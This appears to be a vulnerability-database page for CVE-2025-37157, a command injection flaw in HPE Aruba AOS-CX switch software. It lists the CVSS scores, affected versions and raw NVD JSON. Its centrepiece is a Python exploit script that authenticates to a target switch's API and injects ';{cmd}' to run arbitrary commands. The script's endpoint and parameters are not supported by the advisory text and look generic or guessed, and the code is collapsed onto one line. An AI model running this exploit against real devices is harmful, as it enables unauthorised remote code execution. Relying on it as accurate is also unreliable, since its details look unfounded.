Security Vulnerability Report
中文
CVE-2025-37157 CVSS 6.7 MEDIUM

CVE-2025-37157

Published: 2025-11-18 19:15:48
Last Modified: 2025-12-04 18:20:15

Description

A command injection vulnerability exists in the AOS-CX Operating System. Successful exploitation could allow an authenticated remote attacker to conduct a Remote Code Execution (RCE) on the affected system.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:* - VULNERABLE
HPE Aruba CX 6300M Switch Series (部分版本受影响)
HPE Aruba CX 6400M Switch Series (部分版本受影响)
HPE Aruba CX 8360 Switch Series (部分版本受影响)
具体受影响版本请参考HPE官方安全公告:hpesbnw04888en_us

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37157 PoC - HPE Aruba CX AOS-CX Command Injection # Note: This PoC is for educational and authorized testing purposes only import requests import sys from urllib.parse import quote def exploit_cve_2025_37157(target_ip, username, password, cmd="id"): """ Exploit for CVE-2025-37157: HPE Aruba CX AOS-CX Command Injection Args: target_ip: Target device IP address username: Valid username for authentication password: User password cmd: Command to execute on target system Returns: Command output from target system """ base_url = f"https://{target_ip}/v1/" # Authentication endpoint login_url = base_url + "login" # Prepare authentication payload auth_data = { "username": username, "password": password } try: # Step 1: Authenticate to obtain session token session = requests.Session() login_response = session.post(login_url, json=auth_data, verify=False, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return None # Step 2: Identify vulnerable endpoint # The vulnerability exists in the command execution module vulnerable_endpoint = base_url + "configuration/command-execution" # Step 3: Inject malicious command # Inject command using command separator characters payload = f";{cmd}" exploit_data = { "command": payload, "target_module": "system_diagnostics" } exploit_response = session.post(vulnerable_endpoint, json=exploit_data, verify=False, timeout=10) if exploit_response.status_code == 200: print(f"[+] Command executed successfully: {cmd}") return exploit_response.json() else: print(f"[-] Exploitation failed: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_37157_poc.py <target_ip> <username> <password> [command]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] if len(sys.argv) > 4 else "id" print(f"[*] Targeting {target}") print(f"[*] Executing command: {command}") result = exploit_cve_2025_37157(target, user, pwd, command) if result: print(f"[+] Result: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37157", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:47.533", "lastModified": "2025-12-04T18:20:14.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the AOS-CX Operating System. Successful exploitation could allow an authenticated remote attacker to conduct a Remote Code Execution (RCE) on the affected system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.10.0000", "versionEndExcluding": "10.10.1170", "matchCriteriaId": "3FEB3830-A052-4585-BF45-9E221FA06D43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.13.0000", "versionEndExcluding": "10.13.1101", "matchCriteriaId": "0490B2CA-4273-426E-8776-814D242834B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.14.0000", "versionEndExcluding": "10.14.1060", "matchCriteriaId": "21AC81E3-A4C8-4120-AEEA-46123B84A250"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.15.0000", "versionEndExcluding": "10.15.1030", "matchCriteriaId": "FB5ADE5E-72CB-41E0-B7A0-08BEBB94ED8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.16.0000", "versionEndExcluding": "10.16.1001", "matchCriteriaId": "5CF58D01-F13F-4DAF-B6A1-D91AEC7F19B3"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04888en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}